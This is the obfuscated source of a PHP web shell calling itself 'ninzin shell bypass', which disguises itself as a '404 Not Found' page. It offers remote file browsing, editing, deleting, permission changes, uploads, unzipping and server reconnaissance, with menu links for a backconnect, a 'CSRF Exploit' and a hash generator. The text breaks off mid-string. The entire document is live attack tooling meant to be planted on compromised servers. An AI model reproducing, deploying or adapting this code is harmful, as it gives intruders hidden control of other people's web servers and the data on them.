goto E5N6B; y0HyE: header("\130\x2d\x58\x53\123\55\x50\162\x6f\164\x65\x63\x74\151\x6f\156\72\40\x30"); goto vesdy; tl8xe: function cekdir() { if (isset($_GET["\x70\x61\x74\150"])) { $lokasi = $_GET["\x70\141\x74\x68"]; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "\x3c\x66\157\x6e\164\40\x63\x6f\154\157\x72\x3d\x27\147\x72\145\x65\x6e\47\x3e\127\x72\x69\164\x65\x61\x62\x6c\145\74\57\x66\x6f\156\x74\76"; } else { return "\74\x66\157\x6e\164\40\143\x6f\x6c\157\x72\x3d\x27\x72\145\144\x27\x3e\127\x72\151\x74\145\141\x62\x6c\x65\x3c\57\146\157\156\164\x3e"; } } goto UYsIL; kyL3_: echo "\40\46\156\x62\163\160\73\174\x26\156\x62\163\160\x3b\40\120\171\164\x68\x6f\x6e\x20\x3a\x20"; goto FI5oJ; Tk20e: echo "\124\157\x74\x61\154\40\x48\104\104\40\72\x20\74\146\157\x6e\x74\40\143\157\x6c\157\162\x3d\47\x67\x6f\154\144\47\x3e" . $total . "\x26\x6e\x62\x73\x70\73\x3c\57\x66\157\156\x74\x3e\57\40\106\x72\x65\145\72\40\x3c\x66\157\156\x74\40\143\x6f\x6c\x6f\162\x3d\x27\147\x6f\154\x64\x27\x3e" . $freespace . "\x26\156\142\163\x70\x3b\74\57\146\157\x6e\x74\x3e\x3c\142\162\x3e"; goto Ai93F; ZjnKZ: $idi = "\151" . "\x73\x5f\144" . "\151\162"; goto FrfAB; dL1gv: foreach ($_POST as $key => $value) { $_POST[$key] = stripslashes($value); } goto ZtTTW; Lu2xc: foreach ($lokasinya as $dir) { $euybre = $lokasi . "\57" . $dir; $euybre = $srl("\57\57", "\x2f", $euybre); if (!$idi($euybre) || $dir == "\56" || $dir == "\56\x2e") { continue; } echo "\x3c\x74\162\x3e"; echo "\74\164\144\76\x3c\151\x20\143\154\x61\x73\x73\x3d\47\146\x61\40\x66\141\x2d\146\x6f\x6c\x64\x65\162\47\x20\x73\x74\x79\154\145\x3d\47\x63\x6f\154\x6f\x72\72\40\x23\x66\x66\145\71\x61\62\x27\x3e\74\57\151\x3e\40\x3c\x61\x20\x68\162\145\x66\x3d\42\77\x70\141\x74\x68\x3d" . $euybre . "\x22\76" . $dir . "\74\57\141\x3e\74\57\x74\x64\76\xa\11\x3c\164\x64\x3e\74\143\145\x6e\x74\145\162\76\55\55\x3c\57\143\x65\156\164\145\162\x3e\74\x2f\x74\x64\x3e\xa\11\x3c\x74\x64\76\74\143\x65\156\x74\x65\x72\76" . fdt($euybre) . "\x3c\57\143\x65\x6e\x74\x65\162\x3e\x3c\x2f\x74\144\x3e\xa\x9\x3c\x74\x64\76\x3c\x63\x65\x6e\164\x65\x72\x3e" . gor($euybre) . "\x20\x2f\x20" . ggr($euybre) . "\x3c\x2f\x63\145\x6e\x74\x65\x72\76\74\57\164\144\76\12\x9\74\164\x64\x3e\74\143\145\156\164\145\162\x3e"; if ($isw($euybre)) { echo "\74\x66\157\x6e\x74\40\x63\x6f\154\x6f\x72\75\x22\147\162\x65\x65\x6e\42\76"; } elseif (!$isr($euybre)) { echo "\74\146\x6f\x6e\x74\x20\x63\157\154\x6f\x72\x3d\42\x72\x65\x64\42\x3e"; } echo statusnya($euybre); if ($isw($euybre) || !$isr($euybre)) { echo "\74\x2f\x66\x6f\x6e\164\76"; } echo "\74\x2f\143\145\156\x74\145\x72\76\74\x2f\164\144\76\12\x9\x3c\x74\x64\76\x3c\x63\x65\156\x74\x65\x72\76\74\146\157\x72\155\x20\155\x65\164\150\157\144\x3d\x22\120\x4f\x53\x54\42\40\x61\143\x74\x69\x6f\x6e\75\x22\77\x70\151\x6c\x69\x68\x61\156\46\x70\x61\x74\x68\x3d{$lokasi}\x22\x3e\12\11\74\151\156\x70\x75\164\40\164\x79\160\145\75\x22\x68\151\144\x64\145\x6e\42\40\156\141\155\145\75\x22\164\x79\x70\x65\x22\x20\x76\x61\154\x75\x65\75\42\x64\151\162\x22\x3e\xa\x9\74\x69\x6e\x70\165\x74\40\164\x79\x70\x65\x3d\42\x68\151\x64\x64\x65\156\42\40\x6e\141\x6d\145\75\42\x6e\141\x6d\145\42\x20\166\x61\x6c\x75\x65\75\x22{$dir}\42\76\12\11\x3c\151\x6e\160\165\164\40\x74\x79\160\145\x3d\x22\150\151\144\x64\145\x6e\42\40\156\141\155\145\x3d\42\160\x61\x74\150\x22\40\x76\x61\154\x75\145\75\42{$lokasi}\x2f{$dir}\42\x3e\xa\11\74\x62\x75\x74\164\157\156\x20\164\171\x70\145\x3d\47\163\x75\x62\x6d\x69\x74\47\40\x63\154\141\x73\163\x3d\47\x62\x74\x66\47\x20\x6e\141\x6d\x65\75\x27\160\x69\x6c\x69\x68\47\x20\x76\x61\154\x75\145\75\x27\147\x61\156\164\x69\156\x61\155\141\x27\76\x3c\151\x20\143\x6c\141\x73\163\x3d\x27\x66\141\40\146\141\x2d\x70\145\156\47\40\163\164\171\154\x65\75\x27\143\x6f\154\157\162\72\40\43\x66\146\x66\47\76\74\57\151\x3e\74\57\x62\x75\164\164\157\x6e\76\12\x9\74\x62\165\164\x74\x6f\156\40\164\171\x70\145\x3d\47\163\x75\x62\x6d\x69\164\x27\x20\143\x6c\x61\x73\163\x3d\47\142\164\x66\x27\40\x6e\141\x6d\145\x3d\x27\x70\151\x6c\x69\x68\x27\40\x76\141\x6c\165\x65\x3d\x27\165\142\141\150\x74\141\x6e\x67\147\x61\154\x27\x3e\74\151\40\x63\x6c\141\163\x73\x3d\47\146\141\x20\x66\141\x2d\143\x61\x6c\x65\x6e\144\141\162\x27\x20\163\164\x79\154\x65\x3d\47\143\157\154\157\x72\72\x20\43\146\146\146\x27\76\74\57\151\76\74\57\x62\165\164\164\157\156\76\xa\11\74\142\x75\164\x74\157\156\40\x74\x79\160\145\75\47\x73\x75\x62\155\x69\164\47\40\x63\154\x61\163\x73\x3d\x27\142\164\x66\x27\x20\156\x61\155\145\x3d\47\x70\x69\x6c\151\x68\47\x20\x76\x61\154\165\x65\x3d\47\165\142\x61\x68\x6d\x6f\144\x27\x3e\74\151\40\143\154\x61\x73\x73\x3d\47\x66\x61\40\146\141\55\143\157\147\163\47\40\163\164\171\154\145\75\47\143\x6f\154\x6f\x72\x3a\40\x23\x66\x66\146\47\x3e\x3c\x2f\151\x3e\74\57\142\x75\x74\164\x6f\x6e\76\xa\x9\x3c\142\x75\x74\x74\x6f\156\x20\x74\x79\x70\145\x3d\47\163\165\142\155\151\164\47\x20\x63\x6c\x61\163\x73\x3d\47\142\x74\x66\47\x20\156\141\x6d\145\x3d\x27\x70\151\x6c\x69\x68\x27\x20\x76\x61\x6c\165\145\75\47\150\x61\x70\x75\163\x27\76\x3c\x69\x20\x63\154\x61\x73\163\75\x27\x66\141\40\146\141\x2d\x74\162\x61\x73\x68\47\40\x73\164\x79\154\x65\x3d\x27\143\x6f\154\157\x72\x3a\40\x23\x66\x66\146\x27\76\x3c\57\x69\76\x3c\57\142\165\164\164\x6f\156\76\xa\x9\x3c\x2f\x66\157\162\x6d\76\74\x2f\143\145\x6e\164\x65\162\x3e\74\x2f\x74\x64\76\12\11\x3c\x2f\164\162\x3e"; } goto kk5vw; e5iX1: echo statusnya($euybrekw); goto y1wXQ; wtNyg: $igt = "\x69\156" . "\151\x5f\147" . "\x65\x74"; goto aLxFY; y97T_: echo "\74\57\164\x72\76\x3c\57\x74\144\76\74\x2f\x74\141\142\x6c\145\76\74\x2f\x74\x61\142\x6c\145\x3e"; goto xO4gP; fn_SB: function hdd($s) { if ($s >= 1073741824) { return sprintf("\45\x31\x2e\x32\x66", $s / 1073741824) . "\x20\x47\x42"; } elseif ($s >= 1048576) { return sprintf("\x25\61\x2e\x32\146", $s / 1048576) . "\40\x4d\102"; } elseif ($s >= 1024) { return sprintf("\45\61\56\x32\146", $s / 1024) . "\40\113\102"; } else { return $s . "\40\102"; } } goto A0cMJ; K59SJ: echo "\x20\x26\156\x62\163\160\73\174\46\156\x62\163\160\x3b\40\112\141\x76\141\x20\x3a\40"; goto oT752; XZTh7: if (function_exists("\x6d\171\163\x71\x6c\x5f\x63\x6f\156\156\x65\143\164")) { echo "\74\x66\157\x6e\x74\40\143\157\154\157\x72\75\147\162\145\x65\156\x3e\x4f\116\74\57\146\x6f\x6e\164\x3e"; } else { echo "\74\x66\157\156\x74\x20\143\x6f\x6c\157\x72\75\162\145\144\x3e\117\x46\106\x3c\x2f\x66\x6f\156\164\x3e"; } goto t6Qj9; Hfsd7: $fgt = "\146" . "\151\154\145\x5f\147" . "\145\x74\137\x63" . "\x6f\x6e\164\145\156" . "\164\163"; goto Sy2Nn; dHFJs: echo "\x3c\141\40\143\x6c\141\163\163\75\42\144\x65\x73\x74\x72\x6f\171\137\164\x61\142\154\x65\x22\x20\x68\162\x65\146\75\42\77\x70\141\164\150\75" . $lokasi . "\46\142\141\143\x6b\x63\x6f\x6e\156\145\x63\164\x3d\150\x65\x61\144\163\150\157\157\164\42\x3e\x3c\x69\40\x63\154\x61\163\163\x3d\42\x66\141\163\40\146\141\x2d\156\145\164\x77\x6f\162\153\x2d\x77\x69\162\x65\144\x22\76\74\x2f\x69\x3e\46\156\x62\x73\x70\x3b\x4e\145\x74\167\157\x72\x6b\74\x2f\141\x3e"; goto qMfEO; E0FxW: $ocd = "\x6f\x63" . "\x74\144" . "\x65\x63"; goto NdWei; qVBBG: function red($text) { echo "\x3c\143\145\x6e\164\x65\162\x3e\x3c\146\x6f\156\164\40\x63\x6f\x6c\x6f\x72\75\47\162\x65\x64\x27\76" . $text . "\74\x2f\x63\x65\x6e\164\x65\162\x3e\74\57\146\157\156\164\76"; } goto X_Ch1; NTU1c: $used = "{$total}\x20\x2d\x20{$freespace}"; goto eZqHv; z5F0D: ini_set("\144\x69\163\x70\x6c\141\171\x5f\x73\164\x61\162\164\x75\x70\x5f\145\162\162\x6f\x72\x73", 1); goto MQrxV; AyolC: error_reporting(E_ALL); goto nwKbR; LpJr3: echo "\74\57\164\141\142\x6c\x65\76\x3c\x62\x72\76"; goto VvLMe; MQrxV: ob_start(); goto AyolC; Frj1p: $disfunc = @ini_get("\144\151\163\141\x62\x6c\x65\x5f\146\x75\x6e\x63\x74\x69\x6f\156\163"); goto T1l3Y; mvAZG: if (isset($_REQUEST["\x6c\157\147\157\x75\x74"])) { session_destroy(); echo "\74\x73\143\x72\x69\x70\164\x3e\167\151\x6e\144\x6f\x77\x2e\x6c\x6f\143\x61\x74\x69\157\x6e\x3d\47\77\47\74\x2f\163\x63\162\151\160\x74\x3e"; } goto xxh4f; LSJjQ: echo "\74\141\x20\x63\154\x61\163\163\x3d\x22\144\145\163\x74\162\157\171\x5f\x74\x61\142\x6c\145\x22\40\x68\162\145\146\75\42\77\160\x61\164\150\x3d" . $lokasi . "\x26\150\141\x73\x67\x65\x6e\x3d\150\145\x61\144\163\x68\x6f\157\x74\42\76\74\151\x20\143\x6c\141\x73\163\75\42\x66\x61\x73\x20\x66\141\x2d\x63\141\163\x68\55\x72\145\x67\151\x73\164\145\x72\x22\76\74\57\x69\x3e\x26\156\142\163\x70\x3b\110\141\163\150\40\107\x65\156\x65\162\x61\164\157\162\74\x2f\141\x3e"; goto dOhM1; kk5vw: echo "\x3c\x74\x72\x20\x63\154\141\x73\x73\75\42\x66\151\162\163\164\42\76\74\164\144\76\74\57\164\x64\x3e\x3c\x74\x64\76\x3c\x2f\x74\x64\76\74\164\144\76\x3c\57\x74\x64\76\x3c\164\x64\x3e\74\57\x74\144\76\x3c\x74\144\x3e\74\57\x74\144\76\x3c\x74\x64\76\74\x2f\164\x64\76\74\57\x74\162\76"; goto H5oCk; H5oCk: foreach ($lokasinya as $file) { if (!is_file("{$lokasi}\57{$file}")) { continue; } $size = filesize("{$lokasi}\57{$file}") / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . "\40\115\102"; } else { $size = $size . "\x20\113\x42"; } echo "\x3c\x74\x72\x3e\xa\74\x74\x64\76" . cekfile($lokasi . "\57" . $file) . "\74\141\40\150\162\x65\x66\x3d\x22\x3f\146\151\x6c\145\x6c\x6f\x63\x3d{$lokasi}\x2f{$file}\46\x70\141\x74\x68\75{$lokasi}\42\76{$file}\x3c\x2f\141\76\74\x2f\164\144\x3e\xa\x3c\x74\144\x3e\x3c\143\x65\156\164\x65\x72\76" . $size . "\74\57\143\x65\156\164\x65\x72\76\x3c\57\164\x64\x3e\12\x3c\164\x64\x3e\x3c\143\x65\156\164\145\x72\76" . filedate($lokasi . "\57" . $file) . "\74\x2f\143\145\x6e\x74\x65\162\76\74\57\164\144\76\xa\74\x74\x64\76\x3c\x63\145\156\164\x65\x72\x3e" . gor($euybre) . "\40\57\40" . ggr($euybre) . "\x3c\57\143\145\x6e\x74\145\162\76\74\x2f\164\x64\x3e\xa\74\164\144\76\x3c\143\x65\x6e\x74\x65\x72\76"; if (is_writable("{$lokasi}\57{$file}")) { echo "\74\x66\x6f\156\x74\40\x63\157\x6c\157\162\75\x22\x67\162\x65\145\156\x22\76"; } elseif (!is_readable("{$lokasi}\57{$file}")) { echo "\x3c\x66\x6f\156\164\x20\x63\x6f\x6c\157\162\x3d\42\x72\145\144\x22\76"; } echo statusnya("{$lokasi}\x2f{$file}"); if (is_writable("{$lokasi}\57{$file}") || !is_readable("{$lokasi}\57{$file}")) { echo "\74\x2f\x66\x6f\156\164\x3e"; } echo "\x3c\57\143\145\156\164\145\162\x3e\74\57\x74\x64\x3e\74\x74\144\x3e\74\143\145\x6e\x74\145\x72\x3e\12\74\146\x6f\162\x6d\x20\x6d\145\164\x68\x6f\144\x3d\x22\x70\157\163\164\42\x20\x61\143\x74\151\157\x6e\x3d\42\77\160\x69\x6c\x69\x68\141\156\46\x70\x61\164\x68\x3d{$lokasi}\42\x3e\12\74\x62\x75\164\x74\x6f\156\40\x74\171\160\x65\x3d\x27\163\165\x62\155\151\x74\x27\x20\143\154\141\163\163\x3d\47\142\x74\x66\47\x20\x6e\141\x6d\x65\75\47\x70\x69\154\x69\150\x27\40\x76\141\x6c\x75\x65\x3d\47\145\144\x69\164\x27\x3e\x3c\x69\x20\x63\154\x61\163\163\75\x27\x66\x61\x20\x66\141\x2d\145\x64\151\164\47\x20\163\164\171\x6c\145\x3d\x27\x63\x6f\154\157\162\x3a\x20\43\146\x66\x66\47\76\74\57\151\76\x3c\57\142\x75\x74\164\157\156\76\xa\x3c\142\165\x74\x74\157\x6e\40\164\171\x70\145\75\x27\x73\165\142\155\151\x74\47\40\x63\x6c\141\163\x73\75\47\x62\164\x66\x27\40\x6e\x61\155\x65\75\x27\160\151\154\151\x68\x27\x20\166\141\x6c\165\145\x3d\47\147\141\156\164\x69\x6e\141\x6d\x61\x27\76\74\x69\40\x63\x6c\x61\163\x73\75\x27\146\141\163\x20\146\x61\x2d\160\x65\156\x27\40\x73\164\x79\x6c\145\x3d\x27\x63\x6f\154\157\162\72\40\x23\x66\146\146\47\x3e\74\x2f\x69\76\74\57\142\165\x74\164\x6f\x6e\76\12\x3c\x62\x75\164\x74\157\x6e\x20\x74\171\160\145\x3d\x27\x73\x75\142\x6d\x69\164\x27\x20\143\x6c\141\x73\x73\75\x27\x62\x74\146\47\40\x6e\141\155\145\x3d\47\160\151\154\x69\150\x27\x20\x76\x61\154\165\x65\x3d\x27\165\x62\141\x68\x74\141\156\x67\x67\x61\154\47\76\x3c\x69\40\143\x6c\x61\x73\163\x3d\47\146\x61\40\146\141\55\143\141\x6c\x65\156\144\x61\x72\47\x20\163\164\x79\x6c\x65\x3d\x27\143\x6f\154\x6f\162\x3a\40\43\146\146\146\47\76\74\x2f\x69\76\x3c\x2f\x62\x75\164\x74\157\x6e\x3e\12\74\x62\x75\164\x74\157\156\x20\x74\x79\160\145\75\47\x73\x75\142\x6d\x69\164\47\40\x63\x6c\x61\163\x73\75\x27\x62\x74\146\x27\x20\x6e\x61\x6d\145\x3d\47\x70\x69\154\x69\x68\x27\x20\166\141\154\x75\x65\75\x27\x75\142\141\x68\155\x6f\x64\x27\76\x3c\x69\40\x63\154\141\163\163\x3d\x27\x66\141\x73\x20\x66\x61\55\143\157\x67\163\47\40\163\x74\171\x6c\x65\75\47\143\157\x6c\157\162\72\x20\43\x66\146\x66\47\x3e\74\57\151\x3e\x3c\57\x62\165\164\164\157\156\x3e\xa\74\x62\x75\164\x74\157\x6e\40\x74\x79\160\x65\x3d\x27\163\165\142\x6d\151\x74\x27\40\x63\x6c\x61\163\163\75\47\x62\164\146\47\40\156\x61\155\x65\75\x27\x70\151\x6c\151\150\47\40\166\141\154\x75\x65\75\x27\x64\x75\156\x6c\165\x74\47\x3e\x3c\151\40\143\x6c\x61\x73\163\75\47\x66\x61\40\146\141\x2d\144\157\167\156" . "\154\157\x61\144\47\40\x73\164\x79\x6c\145\75\x27\143\157\x6c\157\162\72\40\x23\146\146\x66\47\76\74\x2f\151\x3e\74\57\x62\x75\164\164\x6f\x6e\x3e\xa\74\x62\165\x74\x74\157\x6e\40\x74\171\160\145\x3d\x27\163\165\x62\x6d\x69\164\47\x20\143\x6c\x61\163\163\75\x27\142\164\146\47\40\x6e\x61\155\145\x3d\47\160\151\x6c\x69\150\47\x20\166\x61\x6c\x75\x65\75\47\x68\x61\160\165\x73\x27\76\x3c\151\40\143\x6c\x61\x73\163\x3d\47\146\141\40\146\141\55\164\162\141\163\150\47\x20\x73\x74\171\x6c\x65\x3d\x27\143\157\x6c\157\x72\x3a\40\x23\146\146\x66\47\76\x3c\x2f\x69\x3e\74\x2f\x62\x75\x74\x74\157\x6e\76"; if (class_exists("\132\151\160\x41\x72\143\x68\151\x76\x65")) { echo "\x3c\x62\x75\164\x74\157\156\x20\164\171\x70\145\x3d\x27\x73\165\x62\155\151\164\47\x20\143\x6c\141\163\x73\x3d\x27\x62\164\146\47\x20\x6e\141\x6d\x65\x3d\47\160\151\x6c\151\x68\47\x20\166\141\x6c\x75\145\75\47\x75\x6e\172\151\160\47\76\74\x69\x20\x63\154\x61\x73\163\x3d\47\146\x61\x73\x20\146\141\x2d\146\151\x6c\145\x2d\141\162\x63\150\x69\166\145\x27\40\163\164\x79\x6c\x65\75\x27\143\x6f\x6c\x6f\x72\72\40\x23\x66\146\x66\47\76\74\57\151\76\x3c\57\142\165\164\x74\157\x6e\x3e"; } echo "\xa\74\151\x6e\x70\x75\x74\40\164\x79\160\x65\75\x22\x68\x69\144\x64\145\x6e\x22\40\156\141\x6d\145\75\42\164\171\x70\145\x22\40\x76\141\154\165\145\75\42\146\151\154\x65\x22\76\xa\74\151\156\160\165\164\x20\x74\x79\x70\145\75\x22\x68\151\x64\144\145\x6e\42\x20\x6e\x61\x6d\x65\75\x22\x6e\x61\155\x65\42\x20\166\x61\154\165\145\75\x22{$file}\42\76\xa\74\x69\x6e\160\165\164\40\164\x79\160\145\75\42\150\x69\x64\144\x65\x6e\42\x20\156\x61\x6d\x65\75\42\x70\x61\x74\x68\42\x20\166\x61\x6c\x75\145\x3d\x22{$lokasi}\x2f{$file}\42\x3e\xa\74\57\146\157\x72\155\x3e\74\57\143\145\x6e\164\145\162\x3e\74\x2f\164\144\76\12\x3c\x2f\x74\162\x3e"; } goto y97T_; rhtoy: function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === "\x2e" || $item === "\56\x2e") { continue; } $path = $dir . "\x2f" . $item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } goto zKur1; hJYjD: echo "\x55\x73\145\x72\40\x3a\40\x3c\x66\x6f\x6e\x74\40\x63\157\154\157\162\x3d\47\147\157\x6c\144\x27\x3e" . @get_current_user() . "\x26\156\x62\163\160\x3b\74\x2f\x66\x6f\x6e\x74\76\50\40\x3c\x66\x6f\x6e\164\40\143\x6f\154\157\x72\75\x27\x67\x6f\x6c\144\47\x3e" . @getmyuid() . "\74\x2f\x66\157\x6e\164\x3e\51\40\107\x72\157\x75\x70\x3a\40\x3c\146\157\156\x74\x20\x63\157\154\157\162\x3d\47\147\x6f\154\x64\47\x3e" . $group . "\x26\x6e\x62\163\x70\x3b\74\x2f\x66\157\x6e\x74\76\50\40\74\146\x6f\156\164\40\x63\157\154\157\162\x3d\47\x67\157\x6c\144\47\x3e" . @getmygid() . "\x3c\x2f\146\157\x6e\164\x3e\x29\x3c\142\162\x3e"; goto Tk20e; t6Qj9: echo "\x20\46\156\x62\163\160\73\174\x26\x6e\x62\163\x70\73\x20\143\x55\122\x4c\40\x3a\40"; goto uXLCq; mCni8: $isr = "\151\x73\137" . "\162\145" . "\141\144\x61\142" . "\154\145"; goto IreJh; NdWei: $isw = "\x69" . "\x73\x5f\167\x72" . "\151\x74\x61\x62" . "\154\x65"; goto RYW2E; z1jI2: echo "\74\x61\x20\143\154\x61\163\163\x3d\42\x64\145\163\164\162\x6f\171\x5f\164\141\x62\154\145\42\40\x68\x72\145\146\x3d\x22\77\x70\x61\x74\x68\75" . $lokasi . "\x26\x63\x73\x72\146\x75\160\x3d\x68\145\x61\144\163\x68\157\157\x74\42\76\74\151\x20\x63\154\141\x73\x73\x3d\42\146\141\x73\x20\x66\141\x2d\146\151\x6c\145\x2d\151\x6d\160\x6f\x72\164\x22\x3e\x3c\57\x69\76\x26\x6e\x62\x73\160\x3b\103\x53\122\x46\x20\x45\x78\160\x6c\x6f\151\x74\74\x2f\141\x3e"; goto Dtjhn; ijH8y: echo "\74\x61\x20\x63\x6c\x61\163\x73\x3d\x22\144\145\163\x74\162\157\171\137\x74\x61\142\154\145\42\x20\150\x72\x65\x66\75\x22\x3f\160\x61\164\x68\x3d" . $lokasi . "\x26\165\160\x6c\157\141\x64\x3d\x68\x65\x61\144\x73\x68\157\x6f\164\42\x3e\x3c\151\40\143\154\x61\x73\163\75\x22\146\x61\163\40\x66\x61\55\143\x6c\x6f\x75\x64\x2d\x75\x70\154\157\x61\144\55\141\154\x74\x22\x3e\x3c\x2f\151\x3e\46\156\142\163\160\73\x55\x70\154\x6f\141\x64\40\x46\x69\x6c\145\x3c\x2f\x61\76"; goto cMCJ5; oT752: if (file_exists("\57\165\163\x72\x2f\x62\x69\156\57\152\141\x76\x61")) { echo "\74\x66\157\156\x74\40\143\x6f\x6c\x6f\x72\75\x67\x72\145\x65\156\x3e\x4f\116\x3c\x2f\x66\157\156\x74\x3e"; } else { echo "\x3c\146\157\x6e\x74\x20\143\x6f\x6c\x6f\162\75\162\x65\x64\x3e\117\x46\x46\x3c\x2f\x66\x6f\156\x74\x3e"; } goto dL1gv; PkrsF: echo "\115\171\x53\x51\x4c\x20\72\x20"; goto XZTh7; Jketo: echo "\74\x62\162\76\x44\x69\162\145\143\x74\x6f\x72\171\x20\x28" . cekwrite($lokasi) . "\51\x20\x3a\x20\x26\x6e\x62\163\160\x3b"; goto V3Qkr; hAab2: function green($text) { echo "\x3c\143\x65\x6e\x74\145\x72\76\x3c\x66\x6f\156\x74\x20\x63\x6f\x6c\x6f\162\x3d\47\x67\162\x65\x65\x6e\47\x3e" . $text . "\74\57\x63\x65\156\x74\x65\x72\x3e\x3c\x2f\146\157\156\x74\x3e"; } goto qVBBG; H8RuD: $bsn = "\x62\141" . "\x73\x65" . "\x6e\141" . "\x6d\x65"; goto KMLsg; ZtTTW: if (isset($_GET["\x70\141\x74\150"])) { $lokasi = $_GET["\x70\141\x74\150"]; $lokdua = $_GET["\x70\141\x74\150"]; } else { $lokasi = getcwd(); $lokdua = getcwd(); } goto EgDii; nwKbR: echo "\xa\x3c\41\104\x4f\103\124\131\120\105\40\x68\164\155\x6c\76\xa\74\x68\x74\155\154\x3e\12\x3c\150\x65\x61\x64\x3e\xa\40\x20\40\40\x3c\x74\x69\164\154\x65\76\x34\60\64\40\116\157\164\x20\x46\x6f\x75\156\144\x3c\x2f\x74\151\x74\x6c\x65\76\12\40\x20\x20\40\x3c\155\x65\x74\141\40\156\141\x6d\145\x3d\47\141\165\x74\x68\157\x72\x27\40\x63\157\x6e\164\145\x6e\x74\x3d\x27\116\151\x6e\x7a\x69\156\x6a\x70\47\76\12\40\x20\x20\40\74\155\x65\x74\x61\x20\156\x61\x6d\x65\75\x27\x76\151\x65\x77\160\x6f\162\x74\47\40\143\157\156\x74\x65\x6e\164\x3d\x27\x77\x69\144\164\150\x3d\144\145\166\151\143\145\55\x77\x69\144\x74\x68\54\x20\x69\156\151\x74\151\141\x6c\55\163\x63\141\x6c\x65\75\61\x27\40\57\x3e\12\40\40\x20\x20\x3c\x6d\x65\164\141\x20\156\141\x6d\x65\x3d\47\x64\x65\x73\x63\162\x69\160\x74\x69\x6f\x6e\x27\40\x63\x6f\156\164\x65\156\x74\75\47\156\x69\156\172\151\156\x20\163\150\145\154\154\40\x62\171\x70\x61\163\163\x20\x21\x27\x3e\xa\40\x20\x20\40\74\x6d\x65\x74\x61\40\x70\162\157\x70\145\x72\x74\171\75\47\x6f\147\72\144\x65\163\x63\162\x69\x70\164\151\x6f\x6e\x27\40\x63\157\156\164\145\x6e\x74\x3d\x27\x6e\151\156\172\x69\156\x20\x73\150\x65\154\x6c\40\142\x79\160\141\163\x73\40\41\47\76\12\x20\x20\40\40\74\x6d\145\x74\x61\40\x70\x72\x6f\x70\x65\162\164\x79\75\47\157\147\72\151\x6d\x61\147\145\x27\x20\x63\x6f\156\x74\x65\156\x74\75\x27\x68\x74\164\x70\x73\x3a\x2f\57\x69\56\x69\142\x62\56\143\157\57\x51\x48\114\163\x33\x54\164\57\x79\x75\156\152\151\156\56\x6a\160\147\x27\x3e\12\x20\x20\40\40\x3c\x6c\151\156\x6b\40\162\x65\154\x3d\x27\151\x63\157\x6e\47\40\x68\x72\145\x66\75\47\150\164\x74\x70\163\72\x2f\x2f\x69\56\151\142\142\56\x63\157\x2f\121\110\114\x73\63\x54\x74\57\171\x75\156\x6a\151\156\x2e\x6a\x70\x67\47\x3e\12\x20\40\x20\x20\x3c\154\x69\156\153\40\162\x65\154\x3d\47\163\150\x6f\162\164\143\165\164\x20\151\143\x6f\x6e\x27\40\x68\162\x65\146\75\47\x68\x74\164\x70\x73\x3a\x2f\57\151\56\151\x62\x62\56\143\x6f\x2f\121\x48\114\x73\x33\124\x74\x2f\x79\x75\156\152\151\156\56\x6a\160\147\47\76\12\40\x20\x20\40\x3c\155\145\x74\141\40\x6e\x61\x6d\145\x3d\47\x72\157\x62\157\x74\x73\47\40\x63\157\156\x74\145\x6e\164\75\x27\156\x6f\151\x6e\x64\145\170\x27\x3e\12\40\40\x20\40\74\x6d\145\164\141\x20\156\141\155\145\x3d\47\147\x6f\157\x67\154\145\142\157\x74\47\x20\x63\157\156\164\x65\156\164\75\x27\x6e\x6f\x69\x6e\x64\x65\x78\x27\76\12\40\x20\x20\40\x3c\x6d\x65\x74\x61\x20\x6e\x61\155\145\x3d\47\164\x68\145\x6d\x65\55\x63\157\x6c\157\x72\x27\40\143\x6f\x6e\x74\145\156\x74\75\x27\x23\x31\x66\x31\146\61\146\x27\76\12\74\57\x68\145\x61\x64\76\12\x3c\142\157\x64\x79\x20\x62\147\143\x6f\154\157\x72\75\47\x23\x31\x66\61\x66\61\146\x27\x20\164\x65\170\164\75\47\43\146\x66\146\x66\x66\x66\47\76\xa\x3c\x6c\151\156\x6b\x20\x68\x72\x65\x66\75\x27\x27\40\162\145\x6c\x3d\x27\163\x74\x79\x6c\145\x73\150\145\145\x74\x27\x20\164\171\x70\x65\75\x27\164\x65\x78\164\x2f\x63\163\163\47\76\xa\74\x6c\x69\156\x6b\x20\x68\162\x65\x66\x3d\x27\150\164\x74\160\x73\72\57\x2f\143\144\x6e\x6a\x73\56\x63\x6c\x6f\165\144\146\x6c\x61\162\145\56\x63\157\155\57\x61\152\141\x78\x2f\x6c\x69\x62\x73\x2f\146\x6f\x6e\x74\55\141\167\145\163\157\x6d\x65\x2f\x35\56\x31\63\x2e\60\57\143\x73\163\x2f\x61\x6c\154\56\x6d\x69\x6e\x2e\143\163\x73\47\40\162\x65\x6c\x3d\x27\x73\164\171\154\145\163\150\145\145\x74\x27\x3e\xa\74\163\164\x79\x6c\x65\76\xa\40\x20\x20\40\100\151\x6d\x70\x6f\x72\164\40\x75\x72\x6c\50\47\150\164\x74\160\163\x3a\x2f\x2f\x66\157\x6e\164\163\56\x67\157\x6f\x67\x6c\145\x61\160\x69\x73\x2e\x63\x6f\155\x2f\143\x73\x73\x3f\146\141\155\x69\154\x79\75\x44\157\x73\x69\163\x27\51\x3b\12\x20\x20\x20\x20\100\x69\x6d\x70\x6f\162\164\x20\x75\162\154\x28\x27\x68\x74\x74\160\x73\x3a\57\57\x66\x6f\156\x74\x73\56\147\x6f\157\147\x6c\145\x61\160\151\x73\x2e\143\157\155\57\x63\163\x73\77\x66\141\x6d\151\154\171\x3d\124\x72\141\x64\145\x2b\127\x69\156\144\x73\x27\51\73\12\x20\x20\x20\x20\100\151\x6d\x70\157\x72\x74\40\x75\x72\x6c\50\47\x68\x74\164\x70\163\x3a\x2f\57\x66\157\x6e\164\x73\56\147\157\x6f\147\x6c\x65\x61\160\x69\x73\x2e\143\157\155\x2f\x63\163\x73\77\146\x61\155\151\154\x79\x3d\102\165\156\x67\145\x65\53\x4f\x75\164\x6c\151\x6e\x65\x27\x29\73\12\40\40\x20\x20\x40\x69\x6d\160\157\162\x74\40\165\x72\154\50\x27\x68\164\x74\x70\163\x3a\x2f\57\146\x6f\156\x74\163\x2e\147\157\x6f\x67\x6c\145\141\160\x69\x73\x2e\143\x6f\x6d\57\143\163\163\x3f\x66\141\155\151\154\171\75\x53\151\154\x6b\163\143\x72\145\x65\156\47\x29\73\12\40\x20\x20\40\100\151\155\x70\157\162\164\x20\165\162\x6c\x28\47\x68\x74\164\